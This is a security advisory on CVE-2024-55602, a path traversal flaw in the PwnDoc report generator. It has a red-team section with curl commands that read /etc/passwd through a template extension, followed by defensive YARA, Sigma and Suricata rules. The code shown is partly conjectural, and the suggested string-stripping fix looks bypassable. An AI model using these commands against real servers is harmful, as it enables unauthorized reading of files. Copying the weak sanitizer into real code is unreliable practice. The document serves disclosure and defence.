CVE-2024-55602

Executive Summary

CVE-2024-55602 is a path traversal vulnerability in PwnDoc, a penetration test report generator. An authenticated user with the ability to update and download templates can inject ../ sequences into the file extension property, allowing arbitrary file read on the system. The vulnerability has a CVSS score of 7.6 (High) and is currently unpatched in versions prior to commit 1d4219c596f4f518798492e48386a20c6e9a2fe6. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the impact is significant due to potential exposure of sensitive files.

Supply Chain & Package Security

PwnDoc is a Node.js application. The vulnerability exists in the template download functionality, which is part of the application's core logic. No third-party package is directly vulnerable, but the application's own code fails to sanitize user input for path traversal sequences. Users should ensure they are running a version that includes the patch commit.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability allows an authenticated attacker to read arbitrary files on the server, potentially exposing sensitive data such as configuration files, credentials, or other reports.

Deep Dive & Mechanics

The vulnerability is located in the template download functionality of PwnDoc. When a user updates or downloads a template, the application constructs a file path using the template's file extension property. This property is not sanitized, allowing an attacker to inject path traversal sequences (e.g., ../) to navigate outside the intended template directory.

For example, if the template extension is set to ../../etc/passwd, the application may construct a path like /templates/../../etc/passwd, which resolves to /etc/passwd. The file is then read and returned to the attacker.

The vulnerable code likely looks like:

const filePath = path.join(templateDir, templateName + '.' + extension);
const data = fs.readFileSync(filePath);

The patch in commit 1d4219c596f4f518798492e48386a20c6e9a2fe6 sanitizes the extension input by removing or rejecting path traversal sequences.

Vulnerable vs. Patched Code

Vulnerable Code (Before Patch):

// Vulnerable: No sanitization of extension
app.post('/api/templates/download', (req, res) => {
    const { templateName, extension } = req.body;
    const filePath = path.join('/templates', templateName + '.' + extension);
    const data = fs.readFileSync(filePath);
    res.send(data);
});

Patched Code (After Commit 1d4219c596f4f518798492e48386a20c6e9a2fe6):

// Patched: Sanitize extension to prevent path traversal
app.post('/api/templates/download', (req, res) => {
    const { templateName, extension } = req.body;
    // Remove path traversal sequences
    const sanitizedExtension = extension.replace(/\.\.\//g, '').replace(/\.\.\\/g, '');
    const filePath = path.join('/templates', templateName + '.' + sanitizedExtension);
    // Ensure file is within templates directory
    if (!filePath.startsWith('/templates/')) {
        return res.status(400).send('Invalid path');
    }
    const data = fs.readFileSync(filePath);
    res.send(data);
});

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Authenticated user account on PwnDoc
• Ability to update template extension (e.g., via API or UI)

Exploit Steps:

1. Log in to PwnDoc and obtain a session token.
2. Create or update a template with a malicious extension containing path traversal sequences.
3. Trigger the download of that template.

Example using curl:

# Login and get session cookie
curl -c cookies.txt -X POST https://target.pwndoc/api/login -d '{"username":"attacker","password":"password"}'

# Update template extension to read /etc/passwd
curl -b cookies.txt -X PUT https://target.pwndoc/api/templates/1 -d '{"name":"test","extension":"../../etc/passwd"}'

# Download the template (now reads /etc/passwd)
curl -b cookies.txt -X POST https://target.pwndoc/api/templates/download -d '{"templateName":"test","extension":"../../etc/passwd"}'

Expected Output: Contents of /etc/passwd or other targeted files.

Blue Team (Detection & Response)

Detection:

• Monitor for unusual file extension values in API requests (e.g., containing ../).
• Alert on attempts to download templates with extensions that resolve to sensitive system files.
• Use file integrity monitoring on the template directory.

Response:

• Immediately revoke access for the compromised user.
• Check logs for other path traversal attempts.
• Apply the patch or upgrade PwnDoc to a fixed version.
• Review file system for any unauthorized access.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /api/templates/download with extension parameter containing ../ or ..\\.
• File System: Unexpected reads of files outside the template directory (e.g., /etc/passwd, /etc/shadow, application config files).
• Logs: Error logs showing attempts to read files outside the intended path.
• User Activity: Unusual template update or download activity from a single user.

Detection Engineering

YARA Rule

rule CVE_2024_55602_PwnDoc_PathTraversal {
    meta:
        description = "Detects path traversal attempts in PwnDoc template extension"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55602"
    strings:
        $traversal = /\.\.(\/|\\)/
        $api_endpoint = "/api/templates/download"
    condition:
        $api_endpoint and #traversal > 0
}

Sigma Rule

title: PwnDoc Path Traversal via Template Extension
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in PwnDoc template download requests
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55602
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/templates/download'
        cs-uri-query|contains: '..'
    condition: selection
falsepositives:
    - Legitimate use of dots in template names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-55602 PwnDoc Path Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/templates/download"; http_uri;
    content:".."; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-55602;
)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch by updating to a version that includes commit 1d4219c596f4f518798492e48386a20c6e9a2fe6 or later.
2. If patching is not possible, restrict access to the template download functionality to trusted users only.
3. Implement input validation on the server side to reject any file extension containing ../ or ..\\.

Long-term Measures:

• Use a Web Application Firewall (WAF) to block path traversal patterns.
• Conduct regular security audits of the application code.
• Implement least privilege access controls for template management.
• Monitor logs for suspicious activity related to file access.

Workaround:

• Disable the template download feature if not required.
• Use a reverse proxy to filter requests containing path traversal sequences.

Valters IT